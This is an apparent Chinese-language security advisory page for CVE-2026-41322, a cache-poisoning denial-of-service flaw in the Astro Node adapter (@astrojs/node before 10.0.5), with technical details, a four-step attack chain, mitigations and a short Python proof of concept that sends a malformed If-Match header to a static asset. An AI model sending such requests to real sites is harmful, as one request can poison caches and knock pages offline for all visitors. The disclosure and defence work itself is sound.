IPBUF安全漏洞报告
English
CVE-2026-41322 CVSS 5.3 中危

CVE-2026-41322 Astro Node适配器缓存投毒漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41322
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@astrojs/node

相关标签

拒绝服务缓存投毒AstroWeb安全

漏洞概述

该漏洞存在于Astro的Node适配器@astrojs/node中。在10.0.5版本之前,当对_astro路径下的静态资源(如JS/CSS)发送带有畸形的If-Match头的请求时,服务器会返回500错误而非预期的412错误。由于该错误响应被设置了长达一年的缓存时间,导致后续对该资源的所有请求(无论头部如何)都会被缓存拦截并返回5xx错误,从而造成服务不可用,直到缓存过期。

技术细节

漏洞的核心在于服务器处理HTTP条件请求(If-Match)时的异常处理不当以及缓存头配置错误。通常情况下,If-Match用于验证资源的实体标签,若不匹配应返回412状态码。在受影响版本中,当攻击者构造特定的畸形请求头时,服务端逻辑崩溃并返回500错误。更为严重的是,该错误响应携带了Cache-Control头,指示客户端或中间代理(如CDN)缓存该响应长达一年。攻击者利用这一机制,可以通过一次请求污染缓存。由于静态资源(JS/CSS)对网站渲染至关重要,一旦这些资源被缓存为500错误,将导致所有访问该页面的用户无法加载关键文件,从而引发拒绝服务。

攻击链分析

STEP 1
侦察
识别使用@astrojs/node适配器的目标站点,并确定其静态资源路径(通常是/_astro/)。
STEP 2
漏洞触发
向目标静态资源发送GET请求,并在Header中插入格式错误的If-Match字段。
STEP 3
缓存污染
服务器响应500错误,并附带长缓存周期的Cache-Control头,导致中间代理或CDN缓存该错误响应。
STEP 4
拒绝服务
后续合法用户访问该资源时,直接获取到缓存的500错误,导致页面加载失败,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://example.com/_astro/index.abcdef.js" # Malformed If-Match header headers = { "If-Match": "malformed_etag_value" } try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Cache-Control: {response.headers.get('Cache-Control')}") # If the vulnerability exists, status code should be 500 # and Cache-Control should contain a long max-age (e.g., 31536000) if response.status_code == 500 and "max-age=31536000" in response.headers.get('Cache-Control', ''): print("[+] Vulnerability confirmed: Cache poisoned with 500 error.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}")

影响范围

@astrojs/node < 10.0.5

防御指南

临时缓解措施
若无法立即升级,建议在反向代理层面(如Nginx)配置规则,禁止缓存状态码为500的响应,或者缩短缓存时间。同时,可以通过WAF规则拦截包含畸形If-Match头的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表